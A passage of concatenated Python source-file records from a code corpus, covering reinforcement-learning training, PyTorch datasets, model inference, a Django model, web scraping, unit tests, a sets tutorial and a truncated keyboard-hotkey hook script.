mb_returns[i], mb_dones[i],\n mb_actions[i], mb_values[i], mb_neglogpacs[i])),\n self.states[i])\n res.append(x)\n return res, epinfos\n\n\ndef _constfn(val):\n def f(_):\n return val\n return f\n\n\ndef _safemean(xs):\n \"\"\"Avoid division error when calculate the mean\n (in our case if epinfo is empty returns np.nan, not return an error)\"\"\"\n return np.nan if len(xs) == 0 else np.mean(xs)\n\n\nclass PPOSelfPlay(SelfPlay):\n def __init__(self, population_size, training_type, env,\n network, make_sess=tf_util.make_session, seed=None,\n nsteps=2048, gamma=0.99, lam=0.95, ent_coef=0.0, vf_coef=0.5,\n max_grad_norm=0.5, nminibatches=4, load_paths=None,\n model_fn=None, **network_kwargs):\n runner = functools.partial(PPOMultiRunner, gamma=gamma, lam=lam)\n super().__init__(population_size, training_type, runner, env)\n\n set_global_seeds(seed)\n\n # Get state_space and action_space\n ob_space = env.observation_space.spaces[0]\n ac_space = env.action_space.spaces[0]\n for ob_sp, ac_sp in zip(env.observation_space.spaces, env.action_space.spaces):\n assert ob_sp == ob_space\n assert ac_sp == ac_space\n\n # Calculate the batch_size\n self.nsteps = nsteps\n self.nminibatches = nminibatches\n self.nbatch = self.nenv * self.nsteps\n self.nbatch_train = self.nbatch // nminibatches\n\n self.graphs = [tf.Graph() for _ in range(population_size)]\n self.sess = [make_sess(graph=graph) for graph in self.graphs]\n fake_env = FakeSingleSpacesVec(env)\n for i in range(population_size):\n policy = build_policy(fake_env, network, **network_kwargs)\n\n # Instantiate the model object (that creates act_model and train_model)\n if model_fn is None:\n from baselines.ppo2.model import Model\n model_fn = Model\n\n # SOMEDAY: construct everything in one graph & session?\n # This might give performance improvements, e.g. evaluate actions\n # for each agent in one pass. (Although since they're independent,\n # possibly not -- depends how clever TF is at optimizing.)\n # However, it breaks PPO's Model, which uses\n # tf.trainable_variables('ppo2_model') and so does not support\n # multiple variables scopes.\n with self.sess[i].as_default():\n with self.graphs[i].as_default():\n # Both of these are needed -- making a session default\n # does not change the default graph.\n model = model_fn(policy=policy, ob_space=ob_space,\n ac_space=ac_space, nbatch_act=self.nenv,\n nbatch_train=self.nbatch_train,\n nsteps=nsteps, ent_coef=ent_coef,\n vf_coef=vf_coef,\n max_grad_norm=max_grad_norm)\n\n if load_paths is not None:\n model.load(load_paths[i])\n\n self.models[i] = model\n\n self.epinfobufs = [deque(maxlen=1000) for _ in range(population_size)]\n\n def learn(self, total_timesteps, lr=3e-4, cliprange=0.2,\n log_interval=10, noptepochs=4, save_interval=0):\n if isinstance(lr, float):\n lr = _constfn(lr)\n else:\n assert callable(lr)\n if isinstance(cliprange, float):\n cliprange = _constfn(cliprange)\n else:\n assert callable(cliprange)\n\n total_timesteps = int(total_timesteps)\n\n nupdates = total_timesteps // self.nbatch\n # Start total timer\n tfirststart = time.time()\n for update in range(1, nupdates + 1):\n assert self.nbatch % self.nminibatches == 0\n # Start timer\n tstart = time.time()\n frac = 1.0 - (update - 1.0) / nupdates\n # Calculate the learning rate\n lrnow = lr(frac)\n # Calculate the cliprange\n cliprangenow = cliprange(frac)\n\n # Get minibatch\n rollout = self.rollout(self.nsteps)\n # SOMEDAY: parallelize model training\n for pi, model, traj, epinfos in rollout:\n obs, returns, masks, actions, values, neglogpacs, states = traj\n epinfobuf = self.epinfobufs[pi]\n epinfobuf.extend(epinfos)\n\n # Here what we're going to do is for each minibatch calculate\n # the loss and append it.\n mblossvals = []\n if states is None: # nonrecurrent version\n # Index of each element of batch_size\n # Create the indices array\n inds = np.arange(self.nbatch)\n for _ in range(noptepochs):\n # Randomize the indexes\n np.random.shuffle(inds)\n # 0 to batch_size with batch_train_size step\n for start in range(0, self.nbatch, self.nbatch_train):\n end = start + self.nbatch_train\n mbinds = inds[start:end]\n slices = (arr[mbinds] for arr in (\n obs, returns, masks, actions, values, neglogpacs))\n loss = model.train(lrnow, cliprangenow, *slices)\n mblossvals.append(loss)\n else: # recurrent version\n assert self.nenv % self.nminibatches == 0\n envinds = np.arange(self.nenv)\n flatinds = np.arange(self.nenv * self.nsteps)\n flatinds = flatinds.reshape(self.nenv, self.nsteps)\n envsperbatch = self.nbatch_train // self.nsteps\n for _ in range(noptepochs):\n np.random.shuffle(envinds)\n for start in range(0, self.nenv, envsperbatch):\n end = start + envsperbatch\n mbenvinds = envinds[start:end]\n mbflatinds = flatinds[mbenvinds].ravel()\n slices = (arr[mbflatinds] for arr in (\n obs, returns, masks, actions, values, neglogpacs))\n mbstates = states[mbenvinds]\n loss = model.train(lrnow, cliprangenow,\n *slices, mbstates)\n mblossvals.append(loss)\n\n # Feedforward --> get losses --> update\n lossvals = np.mean(mblossvals, axis=0)\n # End timer\n tnow = time.time()\n # Calculate the fps (frame per second)\n fps = int(self.nbatch / (tnow - tstart))\n if update % log_interval == 0 or update == 1:\n # Calculates if value function is a good predicator of the\n # returns (ev > 1) or worse than nothing (ev =< 0)\n ev = explained_variance(values, returns)\n # SOMEDAY: better metrics?\n # Mean reward is not very meaningful in self-play.\n logger.logkv(\"player\", pi)\n logger.logkv(\"serial_timesteps\", update * self.nsteps)\n logger.logkv(\"nupdates\", update)\n logger.logkv(\"total_timesteps\", update * self.nbatch)\n logger.logkv(\"fps\", fps)\n logger.logkv(\"explained_variance\", float(ev))\n logger.logkv('eprewmean_rollout', _safemean(\n [epinfo['r'] for epinfo in epinfos]))\n logger.logkv('eplenmean_rollout', _safemean(\n [epinfo['l'] for epinfo in epinfos]))\n logger.logkv('eprewmean_all', _safemean(\n [epinfo['r'] for epinfo in epinfobuf]))\n logger.logkv('eplenmean_all', _safemean(\n [epinfo['l'] for epinfo in epinfobuf]))\n logger.logkv('time_elapsed', tnow - tfirststart)\n for (lossval, lossname) in zip(lossvals, model.loss_names):\n logger.logkv(lossname, lossval)\n if MPI is None or MPI.COMM_WORLD.Get_rank() == 0:\n logger.dumpkvs()\n if (save_interval and\n (update % save_interval == 0 or update == 1) and\n logger.get_dir() and\n (MPI is None or MPI.COMM_WORLD.Get_rank() == 0)):\n checkdir = osp.join(logger.get_dir(), 'checkpoints', '.%2i' % pi)\n os.makedirs(checkdir, exist_ok=True)\n savepath = osp.join(checkdir, '%.5i' % update)\n print('Saving to', savepath)\n model.save(savepath)\n return self.models\n","sub_path":"src/aprl/agents/ppo_self_play.py","file_name":"ppo_self_play.py","file_ext":"py","file_size_in_byte":14108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"191498115","text":"import os\nimport numpy as np\n\nfrom PIL import Image\nfrom torch.utils.data import Dataset\n\n\n\nclass DepthDataset(Dataset):\n \"\"\"\n dataset having images as inputs and targets\n \"\"\"\n\n def images_paths(self, path):\n # traverse root directory, and list directories as dirs and files as files\n images_paths = []\n for root, dirs, files in os.walk(path):\n for file in files:\n file_path = os.path.join(root, file)\n images_paths.append(file_path)\n return images_paths\n\n def __init__(self, input_img_path, target_img_path, input_transform=None, target_transform=None):\n \"\"\"\n :param input_img_path: path for the directory containing all input images\n :param target_img_path: path for the directory containing all target images\n :param input_transform: combination of torchVision transforms applied on the input images\n :param target_transform: combination of torchVision transforms applied on the target images\n \"\"\"\n\n self.input_img_path = input_img_path\n self.target_img_path = target_img_path\n\n self.input_transform = input_transform\n self.target_transform = target_transform\n\n self.inputs = self.images_paths(input_img_path)\n self.targets = self.images_paths(target_img_path)\n\n def __getitem__(self, index):\n\n # using PIL image to open the specific sample\n input_img = Image.open(self.inputs[index])\n target_img = Image.open(self.targets[index])\n\n # applying the transforms to the sample\n if self.input_transform is not None:\n input_img = self.input_transform(input_img)\n\n # check for RGBA mode in input image\n if input_img.shape[0] > 3:\n input_img = input_img[:3]\n\n if self.target_transform is not None:\n\n target_img = self.target_transform(target_img)\n\n # pre-processing section for depth gt stored in 16bit channel\n if np.max(target_img.numpy()) > 255:\n target_img = target_img.float() / 100\n target_img = target_img.clamp(min=0, max=40.0)\n\n # pre-processing section for depth gt stored in 8bit channel\n else:\n # conversion from range [0-255] to [0-39.75]\n target_img = -4.586e-09 * (target_img ** 4) + 3.382e-06 * (target_img ** 3) - 0.000105 * (\n target_img ** 2) + 0.04239 * target_img + 0.04072\n\n return input_img, target_img\n\n def __len__(self):\n return len(self.inputs)\n\n\ndef to_categorical(tensor, num_classes):\n \"\"\" 1-hot encodes a tensor \"\"\"\n return torch.from_numpy(np.eye(num_classes, dtype='uint8')[tensor])\n\n\nclass DepthSemanticDataset(Dataset):\n \"\"\"\n dataset having images as inputs and targets\n \"\"\"\n\n def images_paths(self, path):\n # traverse root directory, and list directories as dirs and files as files\n images_paths = []\n for root, dirs, files in os.walk(path):\n for file in files:\n file_path = os.path.join(root, file)\n images_paths.append(file_path)\n return images_paths\n\n def __init__(self, input_img_path, target_depth_path, target_semantic_path,\n input_transform=None, depth_target_transform=None, semantic_target_transforms=None):\n \"\"\"\n :param input_img_path: path for the directory containing all input images\n :param target_img_path: path for the directory containing all target images\n :param input_transform: combination of torchVision transforms applied on the input images\n :param target_transform: combination of torchVision transforms applied on the target images\n \"\"\"\n\n self.input_img_path = input_img_path\n self.target_depth_path = target_depth_path\n self.target_semantic_path = target_semantic_path\n\n self.input_transform = input_transform\n self.depth_target_transform = depth_target_transform\n self.semantic_target_transforms = semantic_target_transforms\n\n self.inputs = self.images_paths(input_img_path)\n self.depth_targets = self.images_paths(target_depth_path)\n self.semantic_targets = self.images_paths(target_semantic_path)\n\n def __getitem__(self, index):\n\n # using PIL image to open the specific sample\n input_img = Image.open(self.inputs[index])\n target_depth_img = Image.open(self.depth_targets[index])\n target_semantic_img = Image.open(self.semantic_targets[index])\n\n # applying the transforms to the sample\n if self.input_transform is not None:\n input_img = self.input_transform(input_img)\n\n if self.depth_target_transform is not None:\n target_depth_img = self.depth_target_transform(target_depth_img)\n\n # pre-processing section for depth gt stored in 16bit channel\n if np.max(target_depth_img.numpy()) > 255:\n target_depth_img = target_depth_img.float() / 100\n target_depth_img = target_depth_img.clamp(min=0, max=40.0)\n\n # pre-processing section for depth gt stored in 8bit channel\n else:\n # conversion from range [0-255] to [0-39.75]\n target_depth_img = -4.586e-09 * (target_depth_img ** 4) + 3.382e-06 * (\n target_depth_img ** 3) - 0.000105 * (\n target_depth_img ** 2) + 0.04239 * target_depth_img + 0.04072\n\n if self.semantic_target_transforms is not None:\n target_semantic_img = self.semantic_target_transforms(target_semantic_img).long()\n\n # reshaping the semantic gt\n # target_semantic_img = target_semantic_img.view(256 * 160)\n target_semantic_img = to_categorical(target_semantic_img, 30)\n\n return input_img, target_depth_img, target_semantic_img\n\n def __len__(self):\n return len(self.inputs)\n","sub_path":"back_up_pytorch/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"212319395","text":"\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport oneflow as flow\nimport oneflow.typing as tp\n\nimport argparse\nimport cv2\nimport numpy as np\n\nfrom imagenet1000_clsidx_to_labels import clsidx_2_labels\nfrom resnet50_model import resnet50\n\ndef load_image(image_path):\n im = cv2.imread(image_path)\n im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)\n im = cv2.resize(im, (224, 224), interpolation=cv2.INTER_AREA)\n im = (im - [123.68, 116.779, 103.939]) / [58.393, 57.12, 57.375]\n im = np.expand_dims(im, axis=0)\n return np.ascontiguousarray(im, \"float32\")\n\n\nflow.config.enable_legacy_model_io(True)\n\n\ndef main(args):\n input_image = load_image(args.input_image_path)\n height = 224\n width = 224\n flow.env.init()\n config = flow.function_config()\n # config.default_placement_scope(flow.scope.placement(\"cambricon\", \"0:0\"))\n # config.default_placement_scope(flow.scope.placement(\"cpu\", \"0:0\"))\n config.default_placement_scope(flow.scope.placement(\"enflame\", \"0:0\"))\n\n @flow.global_function(\"predict\", function_config=config)\n def InferenceNet(\n images: tp.Numpy.Placeholder((1, height, width, 3), dtype=flow.float)\n ) -> tp.Numpy:\n logits = resnet50(images, args, training=False)\n predictions = flow.nn.softmax(logits)\n return predictions\n\n print(\"===============================>load begin\")\n flow.train.CheckPoint().load(args.model_load_dir)\n print(\"===============================>load end\")\n\n import datetime\n\n a = datetime.datetime.now()\n\n print(\"predict begin\")\n reset_out = InferenceNet(input_image)\n print(\"predict end\")\n clsidx = reset_out.argmax()\n\n b = datetime.datetime.now()\n c = b - a\n\n print(\"time: %s ms, height: %d, width: %d\" % (c.microseconds / 1000, height, width))\n print(\n \"resnet50 predict prob %f, class %s\"\n % (reset_out.max(), clsidx_2_labels[clsidx])\n )\n\n\ndef get_parser(parser=None):\n def str2bool(v):\n if v.lower() in (\"yes\", \"true\", \"t\", \"y\", \"1\"):\n return True\n elif v.lower() in (\"no\", \"false\", \"f\", \"n\", \"0\"):\n return False\n else:\n raise argparse.ArgumentTypeError(\"Unsupported value encountered.\")\n\n parser = argparse.ArgumentParser(\"flags for neural style\")\n parser.add_argument(\n \"--input_image_path\", type=str, default=\"images/tiger.jpg\", help=\"image path\"\n )\n parser.add_argument(\n \"--model_load_dir\", type=str, default=\"\", help=\"model save directory\"\n )\n parser.add_argument(\n \"--channel_last\",\n type=str2bool,\n default=True,\n help=\"Whether to use use channel last mode(nhwc)\",\n )\n # fuse bn relu or bn add relu\n parser.add_argument(\n \"--fuse_bn_relu\",\n type=str2bool,\n default=False,\n help=\"Whether to use use fuse batch normalization relu. Currently supported in origin/master of OneFlow only.\",\n )\n parser.add_argument(\n \"--fuse_bn_add_relu\",\n type=str2bool,\n default=False,\n help=\"Whether to use use fuse batch normalization add relu. Currently supported in origin/master of OneFlow only.\",\n )\n parser.add_argument(\n \"--pad_output\",\n type=str2bool,\n nargs=\"?\",\n const=True,\n help=\"Whether to pad the output to number of image channels to 4.\",\n )\n return parser\n\n\nif __name__ == \"__main__\":\n parser = get_parser()\n args = parser.parse_args()\n main(args)\n","sub_path":"oneflow_enflame-main/oneflow/python/test/models/resnet50/infer_resnet50.py","file_name":"infer_resnet50.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"73455840","text":"from django.db import models\nfrom .bot_basic import *\n\nclass ScheduledTask(models.Model):\n bot = models.ForeignKey(Bot, on_delete=models.CASCADE)\n chat = models.ForeignKey(TelegramChat, on_delete=models.CASCADE)\n time = models.DateTimeField()\n trigger_time = models.DateTimeField()\n random_time = models.BooleanField(default=False)\n description = models.TextField()\n args = models.TextField()\n set_by = models.ForeignKey(TelegramUser, on_delete=models.CASCADE)\n addon = models.CharField(max_length=200)\n command = models.CharField(max_length=200)\n counter = models.IntegerField()","sub_path":"models/scheduled_task.py","file_name":"scheduled_task.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"64242210","text":"from bs4 import BeautifulSoup\nimport json\nimport logging\nimport requests\n\nimport helpers\nfrom logger import log\nimport news_interface\nimport news_orgs\nimport api_keys\n\nlogging.basicConfig(filename='cbc.log', level=logging.WARNING)\n\n\nclass CBC(news_interface.NewsOrg):\n '''Methods for interacting with the CBC website.'''\n\n def get_article(self, url):\n '''Implementation for getting an article from the CBC.\n\n url: A URL in the cbc.ca/news/* domain.\n\n Returns: The Article representing the article at that url, or None if\n unable to scrape the article.\n '''\n html = helpers.get_content(url)\n if not html:\n return None\n\n soup = BeautifulSoup(html)\n\n try:\n headline = soup.h1.string\n except AttributeError:\n log.error('Exception trying to scrape CBC headline from %s'\n % (url))\n return None\n\n article = soup.find('div', attrs={'class': 'story-content'})\n paragraphs = article.find_all('p', attrs={'class': None})\n body = ' '.join([p.get_text() for p in paragraphs])\n log.info(headline)\n log.info(body)\n return news_interface.Article(headline, body, url, news_orgs.CBC)\n\n def get_query_results(self, query):\n '''Implementation for getting an article from the CBC.\n\n query: A URL-encoded string.\n\n Returns: A list of the top Articles returned by the query search.\n '''\n res = requests.get(\n 'http://search.cbc.ca/search?site=2011-News&output=xml_no_dtd&ie=utf8&oe=utf8&safe=high&getfields=*&client=cbc-global&proxystylesheet=cbc-global&proxyreload=1&q=%s'\n % (query))\n soup = BeautifulSoup(res.text)\n articles = soup.find_all('p', attrs={'class': 'g'})\n article_urls = [article.a.get('href') for article in articles]\n\n top_articles = []\n for url in article_urls[0:news_interface.NUM_ARTICLES]:\n top_articles.append(self.get_article(url))\n return top_articles\n","sub_path":"analysis/scraping/cbc.py","file_name":"cbc.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"569566745","text":"######################################\n# Simple unittest for Matrix Library #\n######################################\n\nimport unittest\nimport numpy as np\nfrom Matrix import Matrix\n\nclass MatrixTest(unittest.TestCase):\n\n def setUp(self):\n self.mat1 = Matrix([[1, 2, 3], [2, 1, 3], [3, 1, 2]])\n self.mat2 = Matrix([[1, 0, 1], [0, 1, 1], [1, 1, 0]])\n self.mat3 = Matrix([[3, 1, 4, 1], [5, 9, 2, 6], [5, 3, 5, 8], [9, 7, 9, 3]])\n self.vec1 = Matrix([[2], [3], [8]])\n self.vec2 = Matrix([[4], [3], [3]])\n self.vec3 = Matrix([[4], [6], [2], [6]])\n \n def testMul(self):\n ans1 = Matrix([[4, 5, 3], [5, 4, 3], [5, 3, 4]])\n ans2 = Matrix([[32], [31], [25]])\n ans3 = Matrix([[32], [114], [96], [114]])\n \n self.assertTrue(np.array_equal((self.mat1 * self.mat2).val, ans1.val))\n self.assertTrue(np.array_equal((self.mat1 * self.vec1).val, ans2.val))\n self.assertTrue(np.array_equal((self.mat3 * self.vec3).val, ans3.val))\n \n def testDot(self):\n self.assertEqual(self.vec1.dot(self.vec1), 77)\n self.assertEqual(self.vec1.dot(self.vec2), 41)\n self.assertEqual(self.vec3.dot(self.vec3), 92)\n \n def testTranspose(self):\n mat1_T = Matrix([[1, 2, 3], [2, 1, 1], [3, 3, 2]])\n mat3_T = Matrix([[3, 5, 5, 9], [1, 9, 3, 7], [4, 2, 5, 9], [1, 6, 8, 3]])\n vec1_T = Matrix([2, 3, 8])\n \n self.assertTrue(np.array_equal(self.mat1.transpose().val, mat1_T.val)) \n self.assertTrue(np.array_equal(self.mat3.transpose().val, mat3_T.val)) \n self.assertTrue(np.array_equal(self.vec1.transpose().val, vec1_T.val)) \n \n def testInverse(self):\n mat1_I = Matrix([[-0.16666667, -0.16666667, 0.5 ],\n [ 0.83333333, -1.16666667, 0.5 ],\n [-0.16666667, 0.83333333, -0.5 ]])\n mat2_I = Matrix([[0.5, -0.5, 0.5], [-0.5, 0.5, 0.5], [0.5, 0.5, -0.5]]) \n mat3_I = Matrix([[-4.76530612, -1.25510204, 0.80612245, 1.94897959],\n [ 1.74489796, 0.58163265, -0.39795918, -0.68367347],\n [ 3.32653061, 0.7755102 , -0.53061224, -1.24489796],\n [ 0.24489796, 0.08163265, 0.10204082, -0.18367347]])\n \n np.testing.assert_array_almost_equal(self.mat1.inverse().val, mat1_I.val, decimal=8)\n np.testing.assert_array_almost_equal(self.mat2.inverse().val, mat2_I.val, decimal=8)\n np.testing.assert_array_almost_equal(self.mat3.inverse().val, mat3_I.val, decimal=8)\n \n # Multiplying matrix by its inverse\n I_3 = Matrix([[1, 0, 0], [0, 1, 0], [0, 0, 1]])\n np.testing.assert_array_almost_equal((self.mat1 * self.mat1.inverse()).val, I_3.val)\n np.testing.assert_array_almost_equal((self.mat2.inverse() * self.mat2).val, I_3.val)\n \n def testNormalize(self):\n norm1 = Matrix([[0.227921], [0.341882], [0.911685]])\n norm3 = Matrix([[0.417029], [0.625543], [0.208514], [0.625543]])\n np.testing.assert_array_almost_equal(self.vec1.normalize().val, norm1.val, decimal=6)\n np.testing.assert_array_almost_equal(self.vec3.normalize().val, norm3.val, decimal=6)\n\n def testHomogenize(self):\n vec1 = Matrix([[0.25], [0.375], [1]])\n vec3 = Matrix([[0.6666667], [1], [0.3333333], [1]])\n np.testing.assert_array_equal(self.vec1.homogenize().val, vec1.val)\n np.testing.assert_array_almost_equal(self.vec3.homogenize().val, vec3.val, decimal=6)\n \n\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"hw1/MatrixTests.py","file_name":"MatrixTests.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"234734064","text":"# Sets : Sets are like formal mathematical sets.\n# Sets do not have duplicate values.\n# Element in sets aren't ordered.\n# You cannot access items in a set by index.\n# Sets can be useful if you need to keep track of a collection of elements, but don't care about ordering, keys or values and duplicates.\n# Creating / Accessing\ns = set({1,2,3,4,4,5,6,6,6})\nprint(s) # {1, 2, 3, 4, 5, 6}\n\n# Creating a new set\ns = {1, 4, 5}\n\nprint(4 in s) # True\nprint(8 in s) # False\n\n# Accessing All Values in a Set\nfor number in s:\n\tprint(number)\n\ncities = ['Mumbai', 'Delhi', 'Delhi', 'Mumbai', 'Indore']\nprint(list(set(cities))) # ['Indore', 'Delhi', 'Mumbai']\nprint(len(set(cities))) # 3\n\n# Set Methods: Working with sets is very common- there are quite a few things we can do !\n\n# add: Adds an element to a set, if the element is already in the set, the set doesn't change:\nsome_set = set([1,2,3])\nsome_set.add(4)\nprint(some_set) # {1, 2, 3, 4}\nsome_set.add(4)\nprint(some_set) # {1, 2, 3, 4}\n\n# remove: removes a value from the set - returns a KeyError if the value is not found\nset1 = {1,2,3,4,5,6}\nset1.remove(3)\nprint(set1) # {1,2,4,5,6}\n# set1.remove(7) # KeyError\n# If you need to avoid KeyErrors use .discard()\nset1.discard(7)\n\n# copy: creates a copy of the set\nset_copy = set([1,2,3])\nanother_set = set_copy.copy()\nanother_set # {1,2,3}\nanother_set is set_copy # False\n\n# clear: Removes all the contents of the set\nanother_set.clear()\n\n# Set Math\n# Suppose I teach two classes:\nmath_students = {\"Matthew\", \"Helen\", \"Prashant\", \"James\", \"Aparna\"}\nbio_students = {\"Jane\", \"Matthew\", \"Charlotte\", \"Mesut\", \"Oliver\", \"James\"}\n\n# Union (All Students Once, No Duplicates)\nprint(math_students | bio_students) # {'Aparna', 'Matthew', 'Prashant', 'Oliver', 'Jane', 'Charlotte', 'Mesut', 'James', 'Helen'}\n\n# Common Students\nprint(math_students & bio_students) # {'Matthew', 'James'}","sub_path":"Basics/37_Sets.py","file_name":"37_Sets.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"614193102","text":"from sqlalchemy.orm.exc import NoResultFound\n\nfrom Domain import Cookies\nimport config\n\n\ndef get_one():\n session = config.DBSession()\n try:\n cookie = session.query(Cookies).filter(Cookies.available == True).first()\n cookie_copy = Cookies()\n cookie_copy.id = cookie.id\n cookie_copy.cookie = cookie.cookie\n cookie_copy.xsrf = cookie.xsrf\n cookie_copy.relation = cookie.relation\n cookie_copy.available = cookie.available\n cookie_copy.disabled = cookie.disabled\n return cookie_copy\n except NoResultFound:\n pass\n finally:\n session.close()\n\n\ndef release_lock(cookie):\n if cookie is not None:\n session = config.DBSession()\n cookie.available = True\n session.merge(cookie)\n session.commit()\n session.close()\n\n\ndef insert_cookie(cookie):\n if cookie is not None:\n session = config.DBSession()\n session.add(cookie)\n session.commit()\n session.close()\n\n\ndef lock_cookie(cookie):\n if cookie.id is not None:\n session = config.DBSession()\n cookie.available = False\n session.merge(cookie)\n session.commit()\n session.close()\n","sub_path":"spider/cookies_dao.py","file_name":"cookies_dao.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"67417630","text":"#! /usr/bin/env python\n\nimport urllib\nimport requests\n\nclass spell_check_api:\n \n def __init__(self, content_type, subscription_key):\n self.content_type = content_type\n self.subscription_key = subscription_key\n\n def spell_check(self, text, mode):\n \n# parameter -> BadRequest. why?\n# params = {\n# \"mode\" : mode\n# }\n# url = \"https://bingapis.azure-api.net/api/v5/spellcheck?%s\" % urllib.urlencode(params)\n \n url = \"https://bingapis.azure-api.net/api/v5/spellcheck\"\n headers = {\n \"Content-type\": self.content_type,\n \"Ocp-Apim-Subscription-Key\": self.subscription_key\n }\n data = \"Text=\" + text\n \n res = requests.post(url, data=data, headers=headers)\n \n if res.ok:\n return res.content\n else:\n raise res.raise_for_status()\n","sub_path":"com/sigmaxyz/ml/language/ms/spell_check_api.py","file_name":"spell_check_api.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"89723209","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 22 02:55:35 2019\n\n@author: root\n\"\"\"\n\n# Example: webapplication that prints \"Hello, World!\"\nfrom werkzeug.wrappers import Request, Response\nimport webbrowser as wb\n\n\n@Request.application\ndef application(request):\n return Response(\"Hello, World!\")\n\nif __name__ == \"__main__\":\n from werkzeug.serving import run_simple\n run_simple(\"localhost\", 5000, application)\n\n# open a browser and type url: http://localhost:5000/\n# OR\n url=\"http://localhost:5000/\";\n wb.open_new_tab(url)\n \n\n\n\n\n# NoFirstUse\n","sub_path":"_pyPrototypes.review/_prototypes.review/_coupled_werkzeug_webapplication_CP_launchBrowser.py","file_name":"_coupled_werkzeug_webapplication_CP_launchBrowser.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"622798265","text":"\"\"\"\nTests for utility functions.\n\"\"\"\nimport obsplus\nimport obspy\nimport pandas as pd\nimport pytest\n\nimport mopy.utils as utils\nfrom mopy.constants import MOTION_TYPES\n\n\nclass TestTraceToDF:\n \"\"\" Tests for converting traces to dataframes. \"\"\"\n\n @pytest.fixture\n def vel_trace(self):\n \"\"\" Return the first example trace with response removed. \"\"\"\n tr = obspy.read()[0]\n inv = obspy.read_inventory()\n tr.remove_response(inventory=inv, output=\"VEL\")\n return tr\n\n @pytest.fixture\n def df(self, vel_trace):\n \"\"\" return a dataframe from the example trace. \"\"\"\n return utils.trace_to_spectrum_df(vel_trace, \"velocity\")\n\n def test_type(self, df):\n \"\"\" ensure a dataframe was returned. \"\"\"\n assert isinstance(df, pd.DataFrame)\n assert set(df.columns) == set(MOTION_TYPES)\n assert not df.empty\n\n def test_freq_count_shorten(self, vel_trace):\n \"\"\" ensure the frequency count returns a df with the correct\n number of frequencies when shortened. \"\"\"\n df = utils.trace_to_spectrum_df(vel_trace, \"velocity\", freq_count=100)\n assert len(df.index) == 101\n\n def test_freq_count_lengthen(self, vel_trace):\n \"\"\" ensure the zero padding takes place to lengthen dfs. \"\"\"\n tr_len = len(vel_trace.data)\n df = utils.trace_to_spectrum_df(vel_trace, \"velocity\", freq_count=tr_len + 100)\n assert len(df.index) == tr_len + 101\n\n\nclass TestPickandDurations:\n \"\"\" tests for extracting picks and durations from events. \"\"\"\n\n @pytest.fixture\n def pick_duration_df(self, crandall_event):\n \"\"\" return the pick_durations stream from crandall. \"\"\"\n return utils.get_phase_window_df(\n crandall_event, min_duration=0.2, max_duration=2\n )\n\n def test_basic(self, pick_duration_df, crandall_event):\n \"\"\" Make sure correct type was returned and df has expected len. \"\"\"\n df = pick_duration_df\n assert isinstance(df, pd.DataFrame)\n assert not df.empty\n\n def test_dict(self, crandall_event, crandall_stream):\n \"\"\" test that min_duration can be a dictionary. \"\"\"\n st = crandall_stream\n # ensure at least 40 samples are used\n min_dur = {tr.id: 40 / tr.stats.sampling_rate for tr in st}\n df = utils.get_phase_window_df(crandall_event, min_duration=min_dur)\n assert not df.tw_start.isnull().any()\n assert not df.tw_end.isnull().any()\n\n def test_all_channels_included(self, node_dataset):\n \"\"\" ensure all the channels of the same instrument are included. \"\"\"\n # get a pick dataframe\n event = node_dataset.event_client.get_events()[0]\n # now get a master stream\n time = obsplus.get_reference_time(event)\n t1, t2 = time - 1, time + 15\n st = node_dataset.waveform_client.get_waveforms(starttime=t1, endtime=t2)\n id_sequence = {tr.id for tr in st}\n #\n out = utils.get_phase_window_df(event=event, channel_codes=id_sequence)\n # iterate the time and ensure each has all channels\n for time, df in out.groupby(\"time\"):\n assert len(df) == 3\n assert len(df[\"seed_id\"]) == len(set(df[\"seed_id\"])) == 3\n # make sure no stuff is duplicated\n assert not out.duplicated([\"phase_hint\", \"seed_id\"]).any()\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"192292507","text":"from PyQt5.QtCore import *\nfrom pyhooked import Hook, KeyboardEvent, MouseEvent\nfrom common import *\n\n\nclass HookWork:\n def handle_events(self,args):\n if isinstance(args, KeyboardEvent):\n # print(\"%s|%s|%s\" % (args.current_key, args.event_type, args.pressed_key))\n if args.current_key == '0' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:\n # print(\"Ctrl + 0 was pressed, alarm will be triggered.\")\n print(\"alarm\")\n sys.stdout.flush()\n elif args.current_key == 'Q' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key and 'Rcontrol' in args.pressed_key:\n 